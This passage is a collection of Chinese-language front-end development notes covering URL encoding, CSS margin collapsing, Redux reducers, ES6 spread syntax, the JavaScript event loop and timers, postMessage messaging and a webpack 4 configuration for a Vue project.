  • iframe会在主页面onload之前加载
  • iframe会在所有iframe内容都加载完毕之后触发iframe的onload
  • 主页面的onload会在iframes的onload触发之后触发,所以iframe会阻塞页面的加载
  • 当iframe在加载的过程中,浏览器会标识正在加载东西,处于忙碌状态。

关于URL编码

一般来说,URL只能使用英文字母、阿拉伯数字和某些标点符号,不能使用其他文字和符号。

RFC 1738硬性规定:

"只有字母和数字[0-9a-zA-Z]、一些特殊符号"$-_.+!*'(),"[不包括双引号]、以及某些保留字,才可以不经过编码直接用于URL。"

这意味着,如果URL中有汉字,就必须编码后使用。RFC-1738没有规定具体的编码方法,而是交给应用程序(浏览器)自己决定。

结论一:网址路径编码,用的是utf-8编码。

查询query —> ?xx=xxx不属于网址路径,其采用gb2312编码,但在每个字节前加上了%。结论二:查询字符串的编码,用的是操作系统的默认编码

结论三:GET和POST方法用的是网页编码。网页的编码取决于<meta charset=”utf-8“ />声明。

Ajax调用的URL如果包含汉字,IE总是采用GB2312编码(操作系统的默认编码),Firefox总是采用utf-8编码。

window.escape

想保证客户端用一种编码方法向服务器发送请求,使用Javascript先对URL编码,然后再向服务器提交。保证了服务器得到的数据时格式统一的。

escape()不能直接用于URL编码,它的真正作用是返回一个字符的Unicode编码值。

具体规则:除了ASCII字母、数字、标点符号"@ * _ + - . /"以外,对其他所有字符进行编码。在\u0000到\u00ff之间的符号被转成%xx的形式,其余符号被转成%uxxxx的形式。对应的解码函数式unescape()。

所以,"Hello World"的escape()编码就是"Hello%20World"。因为空格的Unicode值是20(十六进制)。

注:无论网页的原始编码是什么,一旦被Javascript编码,就都变为unicode字符。也就是说,Javascript函数的输入和输出,默认都是Unicode字符。

其次,escape()不对“+”编码。但是,网页在提交表单的时候,如果有空格,则会被转化为+字符。服务器处理数据的时候,会把+号处理成空格。

window.encodeURI()

encodeURI()是Javascript 中真正用来对URL编码的函数。它着眼于对整个URL进行编码,因此除了唱啊金的符号以外,对其他一些这在网址中有特殊含义的符号"; / ? : @ & = + $ , #",也不进行编码。它输出符号是utf-8形式,并且在每个字节前加%。

window.encodeURIComponent()

最后一个Javascript编码函数是encodeURIComponent()。与encodeURI()的区别是,它用于对URL的组成部分进行个别编码,而不用于对整个URL进行编码。

因此,"; / ? : @ & = + $ , #",这些在encodeURI()中不被编码的符号,在encodeURIComponent()中统统会被编码。至于具体的编码方法,两者是一样。

字符编码

1. ASCII码

我们知道,在计算机内部,所有的信息最终都表示为一个二进制的字符串。每一个二进制位(bit)有0和1两种状态,因此八个二进制位就可以组合出256种状态,这被称为一个字节(byte)。也就是说,一个字节一共可以用来表示256种不同的状态,每一个状态对应一个符号,就是256个符号,从0000000到11111111。

上个世纪60年代,美国制定了一套字符编码,对英语字符与二进制位之间的关系,做了统一规定。这被称为ASCII码,一直沿用至今。

2. 非ASCII编码

英语用128个符号编码就够了,表示其他语言时,显然128个符号是不够。所以需要更多的符号支持。比如汉字,汉字多达10w左右,一个字节只能表示256种符号,肯定是不够的,简体中文常见的编码方式是GB2312,使用两个字节表示一个汉字,所以理论上最多可以表示256x256个符号。

3. Unicode

如果有一种编码,将世界上所有的符号都纳入其中。每一个符号都给予一个独一无二的编码,那么乱码问题就会消失。这就是Unicode,就像它的名字都表示的,这是一种所有符号的编码。

需要注意的是,Unicode只是一个符号集,它只规定了符号的二进制代码,却没有规定这个二进制代码应该如何存储。

4. UTF-8

重复一遍,这里的关系是,UTF-8是Unicode的实现方式之一。

UTF-8最大的一个特点,就是它是一种变长的编码方式。它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。

关于URL编码

字符编码笔记:ASCII,Unicode和UTF-8

css collapsing margin解决办法

解决办法有如下:

  • 浮动元素、inline-block 元素、绝对定位元素的 margin 不会和垂直方向上其他元素的 margin 折叠 ( 针对 兄弟元素)

    注意: 浮动元素 , inline-block元素 , 绝对定位元素 都属于 BFC元素。

  • 创建了块级格式化上下文(BFC, blocking formatting context )的父元素,比如说overflow:hidden,不和它的子元素发生 margin 折叠 (针对 父子元素)。

  • 给父元素添加以下内容之一都可以避免发生 margin 重叠 。如 添加内容 , 添加 padding , 添加 border。

虽然有方法解决这个问题。但是目前最好的解决方案是回避这个问题。也就是,不要给指定元素添加具有指定宽度的内边距或外边距,而是尝试将内边距或外边距添加到元素的父元素和子元素。

注:margin-left margin-top 是自身的偏移,margin-right margin-bottom是对周围文档流中的元素的偏移

转自链接

reducer小计

在reducer层级的任何一级都可以调用combineReducers。并不是一定要在最外层。实际上,你可以把一些复杂的子reducer拆分成单独的孙子级reducer,甚至更多层。

var combineReducer1 = function(obj) {
  //内部具体代码
  
  var finalState = {};
  function reducer(state, action) {
    //reducer具体逻辑
    for(var p in obj) {
      finalState[p] = obj[p](state[p], action);
    }
    
    //返回state
    return finalState;
  }
  
  //返回最终的reducer
  return reducer;
}

因为我们reducer()中方法里传入的state,其实是根state,所以根据属性名来获取相应的reducer上的state。

combineReducers 生成了一个类似于Reducer的函数。为什么类似于,因为它不是真正的Reducer,它只是一个调用Reducer的函数,只不过它接受的参数和真正的Reducer一模一样~

这是一部分核心代码:

function combineReducers(reducers) {
  //过滤reducers,把非function类型的过滤掉~
  var finalReducers = pick(reducers, (val) => typeof val === 'function');
  //一开始我一直以为这个没啥用,后来我发现,这个函数太重要了。它在一开始,就已经把你的State改变了。变成了,Reducer的key 和 Reducer返回的initState组合。
  var defaultState = mapValues(finalReducers, () => undefined);
  
  return function combination(state = defaultState, action) {
    //finalReducers 是 reducers
    var finalState = mapValues(finalReducers, (reducer, key) => {
      
      //state[key] 是当前Reducer所对应的State,可以理解为当前的State
      var previousStateForKey = state[key];
      var nextStateForKey = reducer(previousStateForKey, action);
      
      return nextStateForKey;
    });
    
    finalState  Reducer和key和state的组合
  }
}

从上面源码可以看出,combineReducers生成一个类似于Reducer的函数combination。

当使用combination的时候,combination会把所有子Reducer都执行一遍,子Reducer通过action.type匹配操作,因为是执行所有子Reducer,所以如果两个子Reducer匹配的action.type是一样的,那么都会成功匹配。

document.readyState

概述

document文档正在加载时, 返回"loading"。当文档结束渲染但在加载内嵌资源时,返回"interactive",并引发DOMContentLoaded。当文档加载完成时,返回“complete”,并引发load事件。

readystatechange事件会在document对象上的readyState属性的属性值发生变化时触发。

纯js监听document是否加载完成

跨游览器且纯javascript检测document是否加载完成。

跨浏览器且纯javascript检测document是否加载完成的方法是使用readyState

if(document.readyState === 'complete') {
  //页面已经完全加载
}

这样可以在document完全加载时检测到...

let stateCheck = setInterval(() => {
  if (document.readyState === 'complete') {
    clearInterval(stateCheck)
    
    //document ready
  }
}, 100)

或者使用onreadystatechange

document.onreadystatechange = () => {
  if(document.readyState === 'complete') {
    //document ready
  }
}

valueOf和toString

1.当需要将对象转成字符串时,如果遇到+和==以及!=操作,优先采用valueOf,否则采用toString,如下:

var Parent = function(){};
Parent.prototype.toString = function(){
    return 'parent';
};
var Child = function(){};
Child.prototype = new Parent();
 
var obj = new Child();
alert(obj);  //弹出:'parent'

2.当进行==比较时,优先采用valueOf方法(优先级高于toString),这个过程同样会一直往原型链上追溯,如下:

var Parent = function(){};
Parent.prototype.valueOf = function(){
    return 'Parent valueOf';
};
var Child = function(){};
Child.prototype = new Parent();
 
var obj = new Child();
alert(ob j== 'Parent valueOf');  //弹出 true

但Date是个特例,在==比较时,Date会优先采用toString转换,至于为什么,应该是历史原因吧(求科普)

3.当需要将对象转成数字时,优先采用valueOf,否则采用toString(没有valueOf或valueOf不适合,但没有valueOf的场景是??),用例略

es6扩展运算符

console.log(...[1, 2, 3])
// 1 2 3

console.log(1, ...[2, 3, 4], 5)
// 1 2 3 4 5

[...document.querySelectorAll('div')]
// [<div>, <div>, <div>]

function push(array, ...items) {
  array.push(...items);
}

function add(x, y) {
  return x + y;
}

var numbers = [4, 38];
add(...numbers) // 42

上面代码中,array.push(...items)add(...numbers)这两行,都是函数的调用,它们都使用了扩展运算符。该运算符将一个数组,变为参数序列。

替代apply方法

扩展运算符的应用

合并数组

// es5
[1, 2].concat(more)
// es6
[1, 2, ...more]

var arr1 = ['a', 'b']
var arr2 = ['c']
var arr3 = ['d', 'e']

// es5的合并数组
arr1.concat(arr2, arr3)
// ['a', 'b', 'c', 'd', 'e']

// es6的合并数组
[...arr1, ...arr2, ...arr3]

与解构赋值结合

扩展运算符可以与结构赋值结合起来,用于生成数组。

// es5
a = list[0], rest = list.slice(1)
// es6
[a, ...rest] = list

const [first, ...rest] = [1, 2, 3, 4, 5, 6]
first // 1
rest // [2, 3, 4, 5]

const [first, ...rest] = []
first // undefined
rest // []

const [first, ...rest] = ['foo']
first // 'foo'
rest // []

如果将扩展运算符用于数组赋值,只能放在参数的最后一位,否则会报错

const [...butlast, last] = [1, 2, 3, 4, 5];
// 报错
const [first, ...middle, last] = [1, 2, 3, 4, 5];
// 报错

函数的返回值

Javascript的函数只能返回一个值,如果需要返回多个值,只能返回数组或对象。扩展运算符提供了解决这个问题的一种变通方法。

var dateFields = readDateFields(database);
var d = new Date(...dateFields);

上面的代码从数据库取出一行数据,通过扩展运算符,直接将其传入构造函数Date

字符串

扩展运算符还可以将字符串转为真正的数组。

[...'hello'] // ['h', 'e', 'l', 'l', 'o']

上面的写法,有一个重要的好处,那就是能够正确识别32位的Unicode字符。

'x\uD83D\uDE80y'.length // 4
[...'x\uD83D\uDE80y'].length // 3

上面的代码的第一种写法,Javascript会将32位Unicode字符,识别为2个字符,采用扩展运算符就没有这个问题。因此,正确返回字符串长度的函数,可以像下面这丫鞥写。

function length(str) {
  return [...str].length
}

length('x\uD83D\uDE80y')

凡是涉及到操作32位Unicode字符的函数,都有这个问题。因此,最好都用扩展运算符改写。

let str = 'x\uD83D\uDE80y';

str.split('').reverse().join('')
// 'y\uDE80\uD83Dx'

[...str].reverse().join('')
// 'y\uD83D\uDE80x'

实现了Iterator接口的对象

任何Iterator接口的对象,都可以用扩展运算符转为真正的数组。

var nodeList = document.querySelectorAll('div')
var array = [...nodeList];

上面的代码中,querySelectorAll方法返回的是一个nodeList对象。它不是数组,而是一个类似数组的对象。这时,扩展运算符可以将其转为真正的数组,原因就在于NodeList对象实现了 Iterator 。

对于那些没有部署Iterator接口的类似数组的对象,扩展运算符就无法将其转为真正的数组。

let arrayLike = {
  '0': 'a',
  '1': 'b',
  '2' '从,
  length: 3
};

// TypeError: Cannot spread non-iteratable object
let arr = [...arryLike];

上面代码中,arrayLike是一个类似数组的对象,但是没有部署 Iterator 接口,扩展运算符就会报错。这时,可以改为使用Array.from方法将arrayLike转为真正的数组。

Map和set结构,Generator函数

扩展运算符内部调用的是数据结构的Iterator接口,因此只要具有Iterator接口的对象,都可以使用扩展运算符,比如Map结构。 能使用扩展运算符的前提是需要具备Iterator接口

let map = new Map([
  [1, 'one'],
  [2, 'two'],
  [3, 'three']
]);

let arr = [...map.keys()]; //[1, 2, 3]

Generator 函数运行后,返回一个遍历器对象,因此也可以使用扩展运算符。

var go = function *() {
  yield 1;
  yield 2;
  yield 3;
}

[...go()]// [1, 2, 3]

上面代码中,变量go是一个 Generator 函数,执行后返回的是一个遍历器对象,对这个遍历器对象执行扩展运算符,就会将内部遍历得到的值,转为一个数组。

如果对没有 Iterator 接口的对象,使用扩展运算符,将会报错。

var obj = {a: 1, b: 2};
let arr = [...obj]; // TypeError: Cannot spread non-iterable object

实现一个简单的异步方案(类promise)

function P(fn) {
  var value = null;
  var events = [];
  this.then = function(f) {
    events.push(f);
    return this;
  }
  
  function resolve(newValue) {
    vat f = events.shift();
    f(newValue, resolve);
  }
  
  fn(resolve);
}

function a() {
  return new P(function(resolve) {
    console.log('get...');
    setTimeout(function() {
      console.log('get 1');
      resolve(1)
    }, 1000);
  });
}

a().then(function(value, resolve) {
  console.log('get ...');
  setTimeout(function() {
    console.log('get 2');
    resolve(2);
  }, 1000);
}).then(function(value, resolve) {
  console.log(value);
});

//get...
//get 1
//get...
//get 2
//2

发布/订阅

var Event = (function() {
  var clientList = {},
  		listen,
  		trigger,
  		remove;
  		
  listen = function(key, id, fn) {
    if(!clientList[key]) {
      clientList[key] = []
    }
    clientList[key].push({
      id: id,
      fn: fn
    });
    
    trigger = function() {
      var key = Array.prototype.shift.call(arguments),
      		fns = clientList[key];
      		
      	if(!fns || fns.length === 0) {
          return false;
      	}
      	
      	for(var i = 0; i < fns.length; i++) {
          fns[i].fn.apply(this, arguments);
      	}
    };
    
    remove = function(key, id) {
      var fns = clientList[key];
      
      if(!fns) {
        return false;
      }
      
      if(!id) {
        fns && (fns.length = 0)
      } else {
        for(var l = fns.length - 1; l >= 0; l--) {
          var _id = fns[l].id;
          if(_id === id) {
            fns.splice(l, 1);
          }
        }
      };
      
      return {
        listen: listen,
        trigger: trigger,
        remove: remove
      }
    }
  }
})();

es6简单发布/订阅模式

'use strict';

class EmitterEvent {
    constructor() {
        this._event = {}
    }
    //订阅
    on(eventName, handler) {
        if(this._event[eventName]) {
            this._event[eventName].push(handler)
        } else {
            this._event[eventName] = [handler]
        }
    }

    emit(eventName) {
        const events = this._event[eventName];

        const otherArgs = Array.prototype.slice.call(arguments, 1);

        const that = this;

        if(events) {
            events.forEach((event) => {
                event.apply(that, otherArgs);
            })
        }
    }
    //解除订阅
    off(eventName, handler) {
        const events = this._event[eventName];

        this._event[eventName] = events.filter((event) => {
            return event !== handler;
        })
    }

    //订阅以后,发布执行一次直接解除
    once(eventName, handler) {
        const that = this;
        function func() {
            const args = Array.prototype.slice.call(arguments, 0);
            handler.apply(that, args);
            this.off(eventName, func);
        }

        this.on(eventName, func)
    }
}

const event = new EmitterEvent();

function a(something) {
    console.log(something, 'aa-aa')
}

function b(something) {
    console.log(something)
}

event.once('dosomething', a)

event.emit('dosomething', 'chifan');

图片按比例呈现黑科技

<div id="container" class="placeholder">
  < img  />
</div>
#container {
  width: 30%;
  position: relative;
  background-color: red;
  overflow: hidden;  //需要触发BFC消除margin折叠的问题
}
.placeholder:after {
  content: '';
  display: block;
  margin-top: 100%; //margin 百分比相对父元素宽度计算
} 
img {
  position: absolute;
  top: 0;
  width: 100%;
}

H5语义化

简单来说就是:描述内容的含义(meaning)

html5语义化后对HTML文档有什么好处?

  1. 可以提升可访问性和互操作性(兼容性会更好);
  2. 改进搜索引擎的优化;
  3. 一般来说可以让HTML文件更小
  4. 让代码更好维护,与CSS3的关系更和谐。

HTML5标签

  • <nav> 标记导航(对应网页中重要的链接群)包含在<nav>中间的通常是<ul>无序列表

  • <article> 文章标记标签(表示一个文档、页面、应用或者网站中一个独立的容器,原则上讲就是聚合)

  • <sections> 区块语义标签(表示的是文档或者应用的一个一般的块),他一般有一组相似的主题的内容,一般会包含一个标题。

  • <aside> 定义侧边栏标签(表示一部分内容与页面的主题并不是有很大的关系,但是可以独立存在)。

  • <footer> 页脚标签(与<header>标签对应的标签)

JS定时器

在谈js定时器以前,我觉得有必要了解下javascript的事件运行机制,简称(javascript event loop)。众所周知,javascript是单线程,就是说一次只能完成一个任务,多个任务的执行需要排队。前一个任务结束,才能执行后一个任务,如果前一个任务耗时很长,后面的任务就处于挂起状态,不得不等到前一个任务完成。

js任务分为同步和异步任务。在了解同步和异步之前,需要理解浏览器的并发模型:

如图

左边的栈存储的是同步任务,所谓同步的任务就是那些能立即执行的任务,如变量和初始化、事件绑定等等直接声明调用的操作。右边的堆(heap)用来存储声明的对象。下面的就是任务队列。一个某个异步任务有了响应(触发),就会被推入队列中。如用户的点击事件、浏览器收到服务的响应和之前提到的setTimeout定时器事件等等。每个异步任务都有一个回调函数。

再来说说setTimeout:

在单线程的Javascript引擎中,setTimeout()是如何运行的呢,这里就要提到浏览器内核中的事件循环模型了。简单的讲,在Javascript执行引擎之外,有一个任务队列,当在代码中调用setTimeout()方法时,注册的延时方法会交由浏览器内核其他模块(以webkit为例,是webcore模块)处理,当延时方法到达触发条件,即到达设置的延时时间时,这一延时方法被添加至任务队列里。这一过程由浏览器内核其他模块处理,与执行引擎主线程独立,执行引擎在主线程方法执行完毕,到达空闲状态时,会从任务队列中顺序获取任务来执行,这一过程是一个不断循环的过程,称为事件循环模型。

当一个异步事件触发,它的回调函数先进入事件队列中排队,任务队列是一个先进先出的数据结构,排在前面的事件,一旦执行栈为空,优先被主线程读取到栈中执行。主线程从任务队列中读取事件,这个过程循环不断,所以整个的这种运行机制又称为Event loop

下面有必要讲下 javascript定时器的工作原理

有必要看下原文链接,当然也能看下袁锅锅的Javascript的定时器的工作原理

为了理解定时器的内部工作原理,我们需要了解一个非常重要的概念:**定时器设定的延时是没有保证的。**因为在所有浏览器中执行的javascript单线程异步事件(比如鼠标点击事件和定时器)都只有在主线程有空即执行栈为空的情况下采取执行。通过图片来说明:

图片

在解释上图时,首先先解释下setTimeout和setInterval的区别:

  • setTimeout(fun, delay):延时delay毫秒之后,啥也不管,直接将回调函数推入事件队列
  • setInterval(fun, delay):延时delay毫秒之后,先看看事件队列中是否存在还没有执行的回调函数(setInterval的回调函数),如果存在,就不需要再往事件队列中加入回调函数了。

我们再来解释上面的图。

上图蓝色区域表示任务的执行时间,首先是Javascript代表的同步任务。在10ms处注册了一个setTimeout事件,并且在之后又多了一个鼠标点击事件,在鼠标点击事件后又多了个setInterval事件。

当setTimeout相对注册该事件过了10ms时,开始触发事件。可是现在蓝色区域的同步任务还未执行完,即主线程任务未执行完,执行栈还不为空。则把该处的回调函数推入事件队列。然而,事件队列中已经有一个点击触发的事件,因为他比定时器过10秒才触发快,所以优先进入到队列。

等Javascript代表的蓝色区域同步任务执行完之后,主线程便从任务队列中取到读到鼠标点击事件,开始执行mouse click callback的蓝色区域的回调函数,然而在这个区域中setInterval的离注册事件过10ms到时事件开始触发,并将回调函数推入事件队列中。此时它的前面排着10ms setTimeout事件。等Mouse Click回调函数执行完,执行栈又为空,推入10ms setTimeout事件,并执行,此时在Timer蓝色区域下一个10ms setInterval事件触发,由于之前事件队列中有一个interval事件了,则丢弃,不进入队列。

等Timer的回调执行完,随即执行事件队列里的第一个Interval事件,在Interval蓝色执行期间,又有个interval事件触发,则推入事件队列,即本次Interval事件执行完下一个直接取到执行栈执行,下面的setInterval事件可谓是畅通无阻了,按照每10ms执行~

表达的不清楚,请见谅,本文也是结合了几篇讲解定时器文章做了一个总结。

参考链接:

javascript计时器工作原理

javascript定时器工作原理

javascript单线程异步机制

阮一峰:再谈event loop

四种常见的POST提交数据方式

HTTP/1.1协议规定的HTTP请求方法:

  • OPTIONS
  • GET
  • HEAD
  • POST
  • PUT
  • DELETE
  • TRACE
  • CONNECT

HTTP协议是以ASCII码传输,建立TCP/IP协议之上的应用层规范。规范把HTTP请求分为三个部分:状态行、请求头、消息主体。类似下面:

<method> <request-URL> <version>
<headers>

<entity-body>

协议规定POST提交的数据必须放在消息主体(entity-body)中,但协议并没有规定数据必须使用什么编码方式。实际上,开发者完全可以自己决定消息主体的格式,只要最后发送的HTTP请求满足上面的格式就可以。

但是,数据发送出去,还要服务端解析成功才有意义。一般服务端语言php、pthyon等,以及它们的Framework,都内置了自动解析常见数据格式的功能。服务端通常是根据请求头(headers)中的Content-type字段来获知请求中的消息主体是用何种方式编码,再对主体进行解析。所以说到POST提交数据方案,包含了Content-type和消息主体编码方式两部分。

参考链接

关于js取不到元素的style.left属性

当你要取一个element.style.left的时候,只有在这个元素有内联style的情况下才能取到。如果这个left属性是写在样式文件里,你不能按照你的期望取到这个值。

window.getComputedStyle

取到元素计算好的style通过使用window.getComputedStyle,问题是只适用于IE9+以上的浏览器。可以包装一个方法:

function getCssProperty(elmId, property) {
  var elem = document.getElementById(elmId);
  return window.getComputedStyle(elem, null).getPropertyValue(property);
}

var left = getCssProperty('my-div', 'left');

jQuery (or some other library)

另外一个选择是使用jquery的.css()方法。

备注

getComputedStyle 的返回值是 resolved values, 通常跟CSS2.1中的computed values是相同的值。 但对于一些旧的属性,比如width, height, padding 它们的值又为 used values。 最初, CSS2.0定义的计算值Computed values 就是属性的最终值。 但是CSS2.1 重新定义了 computed values 为布局前的值, used values布局后的值。 布局前与布局后的区别是, width 或者 height的 百分比可以代表元素的宽度,在布局后,会被像素值替换.

[How to get the CSS left-property value of a div using JavaScript?](https://stackoverflow.com/questions/13778439/how-to-get-the-css-left-property-value-of-a-div-using-javascript)

装饰模式

var A = document.getElementById('A');
    A.onclick = function(){
        alert(1)
    }
    //装饰者
    var decorator = function (id,fn){
        var dom = document.getElementById(id);
        if(typeof dom.onclick === 'function'){
            var oldClickFn = dom.onclick;
            dom.onclick = function(){
                oldClickFn();
                fn();
            }
        }else{
            dom.onclick = fn;
        }
    }
    //利用装饰者对元素增加事件。
    decorator('A',function(){
        setTimeout(function(){
            alert(2)
        },5000)
    })

JavaScript 设计模式 ③ 生活中的'适配器'和'装饰者'模式

遍历多叉树(递归、非递归广度优先、深度优先)

简单的遍历一个树形结构数据的几种方法、非递归方法效率最好。

(function (window, undefined) {
    var treeNodes = [
       {
            id: 1,
            name: '1',
            children: [
                 {
                      id: 11,
                      name: '11',
                      children: [
                           {
                                id: 111,
                                name: '111',
                                children:[]
                           },
                           {
                                id: 112,
                                name: '112'
                           }
                      ]
                 },
                 {
                      id: 12,
                      name: '12',
                      children: []
                 }
            ],
            users: []
       },
       {
            id: 2,
            name: '2',
            children: [
                {
                    id: 22,
                    name: '22',
                    children: []
                }
            ]
       }
    ];

    //递归实现
    var parseTreeJson = function(treeNodes){
      if (!treeNodes || !treeNodes.length) return;

       for (var i = 0, len = treeNodes.length; i < len; i++) {

            var childs = treeNodes[i].children;

            console.log(treeNodes[i].id);

            if(childs && childs.length > 0){
                 parseTreeJson(childs);
            }
       }
    };

    console.log('------------- 递归实现 ------------------');
    parseTreeJson(treeNodes);

    //非递归广度优先实现
    var iterator1 = function (treeNodes) {
        if (!treeNodes || !treeNodes.length) return;

        var stack = [];

        //先将第一层节点放入栈
        for (var i = 0, len = treeNodes.length; i < len; i++) {
            stack.push(treeNodes[i]);
        }

        var item;

        while (stack.length) {
            item = stack.shift();

            console.log(item.id);

            //如果该节点有子节点,继续添加进入栈底
            if (item.children && item.children.length) {
                //len = item.children.length;

                // for (i = 0; i < len; i++) {
                //  stack.push(item.children[i]);
                // }

                stack = stack.concat(item.children);
            }
        }
    };

    console.log('------------- 非递归广度优先实现 ------------------');
    iterator1(treeNodes);

    //非递归深度优先实现
    var iterator2 = function (treeNodes) {
        if (!treeNodes || !treeNodes.length) return;

        var stack = [];

        //先将第一层节点放入栈
        for (var i = 0, len = treeNodes.length; i < len; i++) {
            stack.push(treeNodes[i]);
        }

        var item;

        while (stack.length) {
            item = stack.shift();

            console.log(item.id);

            //如果该节点有子节点,继续添加进入栈顶
            if (item.children && item.children.length) {
                // len = item.children.length;

                // for (; len; len--) {
                //  stack.unshift(item.children[len - 1]);
                // }
                stack = item.children.concat(stack);
            }
        }
    };

    console.log('------------- 非递归深度优先实现 ------------------');
    iterator2(treeNodes);
})(window);

跨域postMessage通信

postMessage()

postMessage方法接受两个参数:

  • message - 一个字符串或对象能够被是发送到可接受的window
  • targetOrigin - 被发送消息到指定window的URL。如果没有指定具体URL可以用*指定,表示匹配任何URL。

这个方法应该在被发送消息的window上调用。目标window的引用可以通过好几个不同的方法来获得:

  • 当使用window.open()一个引用指向新的window能够通过open()方法返回
  • 对于iframes你可以访问它的contentWindow属性
targetWindow.postMessage('Hello World', 'http://example.com')

建立Event Listeners来接受Messages

当调用一个postMessage(),一个MessageEvent能够被成功触发在可接受的window上。你可以利用一个标准的事件监听器去监听这个事件并且执行一些代码当事件发生时。

传入监听器回调的事件有一个属性叫做data,能够被用来访问通过postMessage()方法发送的字符串或对象。

window.addEventListener('message', function (e) {
  var message = e.data;
});

例子:

The Controller Window

window.onload = function () {
  //get the window displayed in the iframe
  var receiver = document.getElementById('receiver').contentWindow;
  // get a reference to the 'Send Message' button
  var btn = document.getElementById('send');
  // A function to handle sending messages
  function sendMesage (e) {
    e.preventDefault();
    // send a message with the text 'Hello Treehouse' to receiver window
    receiver.postMessage('Hello treeHouse', 'http://demos.matt-west.com');
  }
  
 // Add an event listener that will execute the sendMesage() function when the send button is clicked
  btn.addEventListener('click', sendMessage);
}

The Receiver Window

window.onload = function() {
  // Get a reference to the div on the page that will display the
  // message text.
  var messageEle = document.getElementById('message');

  // A function to process messages received by the window.
  function receiveMessage(e) {
    // Check to make sure that this message came from the correct domain.
    if (e.origin !== "http://s.codepen.io")
      return;

    // Update the div element to display the message.
    messageEle.innerHTML = "Message Received: " + e.data;
  }

  // Setup an event listener that calls receiveMessage() when the window
  // receives a new MessageEvent.
  window.addEventListener('message', receiveMessage);
}

http://blog.teamtreehouse.com/cross-domain-messaging-with-postmessage

Promise之数遍理解

说来惭愧,看了几遍的promise还是得去再看一遍阮老师的ECMAScript 6入门

进入正题.......

还是得引申下R老师书上的金玉良言,挑几个印象深的吧。

所谓promise,简单说就是一个容器,里面保存着某个未来才会结束的事件(通常是一个异步操作)的结果。

听着觉得有点绕口,简洁明了点,promise就好比一个流程图的判断。

图一

Promise对象的特点:

对象状态不受外界影响。三种状态:PendingResolvedRejected

只有异步操作的结果,可以决定当前是哪一种状态,任何其他操作无法改变这个状态。

只有异步操作的结果,可以决定当前是哪一种状态。new Promise((resolve, reject) => cb)这里的cb里如果是同步,我觉得也没必要关心状态了,异步操作因为不像同步那样结果来的及时,所以需要用一个resolve或者reject来是否已经执行完或者要把结果传给下一个回调(then操作)。从我理解和实践的经验看来,当前是什么状态,还是跟resolvereject密切相关,跟异步操作的结果并无太大关联,还是基于场景下才能解释。

Promise.resolve(xx) 和 Promise.reject(xx)会生成一个新的实例。如果xx是一个promise,那么会原封不动地返回这个promise。

Promise.resolve('foo');
// 等价于
new Promise(resolve => resolve('foo'));

Promise.reject('error');
// 等价于
new Promise((resolve, reject) => reject('error'));

vue脚手架改造(升级webpack4)

package.json更新:

{
  "copy-webpack-plugin": "^4.6.0",
  "css-loader": "^2.0.2",
  "eslint": "^5.11.0",
  "eslint-config-standard": "^12.0.0",
  "eslint-friendly-formatter": "^4.0.1",
  "eslint-loader": "^2.1.1",
  "eslint-plugin-import": "^2.14.0",
  "eslint-plugin-node": "^8.0.0",
  "eslint-plugin-promise": "^4.0.1",
  "eslint-plugin-standard": "^4.0.0",
  "eslint-plugin-vue": "^5.0.0",
  "file-loader": "^3.0.1",
  "mini-css-extract-plugin": "^0.5.0",
  "ora": "^3.0.0",
  "postcss-import": "^12.0.1",
  "postcss-loader": "^3.0.0",
  "postcss-url": "^8.0.0",
  "sass-loader": "^7.1.0",
  "sass-resources-loader": "^2.0.0",
  "url-loader": "^1.1.2",
  "vue-loader": "^15.4.2",
  "vue-style-loader": "^4.1.2",
  "vue-template-compiler": "^2.5.21",
  "webpack": "^4.28.2",
  "webpack-bundle-analyzer": "^3.0.3",
  "webpack-cli": "^3.1.2",
  "webpack-dev-server": "^3.1.13",
  "webpack-merge": "^4.1.5"
}

webpack.base.conf.js:

'use strict'
const path = require('path')
const utils = require('./utils')
const config = require('../config')
const vueLoaderConfig = require('./vue-loader.conf')
const VueLoaderPlugin = require('vue-loader/lib/plugin')
const LodashModuleReplacementPlugin = require('lodash-webpack-plugin')

function resolve (dir) {
  return path.join(__dirname, '..', dir)
}

const createLintingRule = () => ({
  test: /\.(js|vue)$/,
  loader: 'eslint-loader',
  enforce: 'pre',
  include: [resolve('src'), resolve('test')],
  options: {
    formatter: require('eslint-friendly-formatter'),
    emitWarning: !config.dev.showEslintErrorsInOverlay
  }
})

module.exports = {
  context: path.resolve(__dirname, '../'),
  entry: {
    app: './src/main.js'
  },
  output: {
    path: config.build.assetsRoot,
    filename: '[name].js',
    publicPath: process.env.NODE_ENV === 'production'
      ? config.build.assetsPublicPath
      : config.dev.assetsPublicPath
  },
  resolve: {
    extensions: ['.js', '.vue', '.json'],
    alias: {
      '@': resolve('src')
    }
  },
  module: {
    rules: [
      ...(config.dev.useEslint ? [createLintingRule()] : []),
      {
        test: /\.vue$/,
        loader: 'vue-loader',
        options: vueLoaderConfig
      },
      {
        test: /\.js$/,
        loader: 'babel-loader',
        include: [resolve('src'), resolve('test'), resolve('node_modules/webpack-dev-server/client')]
      },
      {
        test: /\.(png|jpe?g|gif|svg)(\?.*)?$/,
        loader: 'url-loader',
        options: {
          limit: 10000,
          name: utils.assetsPath('img/[name].[hash:7].[ext]')
        }
      },
      {
        test: /\.(mp4|webm|ogg|mp3|wav|flac|aac)(\?.*)?$/,
        loader: 'url-loader',
        options: {
          limit: 10000,
          name: utils.assetsPath('media/[name].[hash:7].[ext]')
        }
      },
      {
        test: /\.(woff2?|eot|ttf|otf)(\?.*)?$/,
        loader: 'url-loader',
        options: {
          limit: 10000,
          name: utils.assetsPath('fonts/[name].[hash:7].[ext]')
        }
      }
    ]
  },
  node: {
    // prevent webpack from injecting useless setImmediate polyfill because Vue
    // source contains it (although only uses it if it's native).
    setImmediate: false,
    // prevent webpack from injecting mocks to Node native modules
    // that does not make sense for the client
    dgram: 'empty',
    fs: 'empty',
    net: 'empty',
    tls: 'empty',
    child_process: 'empty'
  },
  plugins: [
    new VueLoaderPlugin()
  ]
}

webpack.dev.config.js:

'use strict'
const utils = require('./utils')
const webpack = require('webpack')
const config = require('../config')
const merge = require('webpack-merge')
const path = require('path')
const baseWebpackConfig = require('./webpack.base.conf')
const CopyWebpackPlugin = require('copy-webpack-plugin')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const FriendlyErrorsPlugin = require('friendly-errors-webpack-plugin')
const portfinder = require('portfinder')

const HOST = process.env.HOST
const PORT = process.env.PORT && Number(process.env.PORT)

const devWebpackConfig = merge(baseWebpackConfig, {
  mode: 'development',
  module: {
    rules: utils.styleLoaders({ sourceMap: config.dev.cssSourceMap, usePostCSS: true })
  },
  // cheap-module-eval-source-map is faster for development
  devtool: config.dev.devtool,
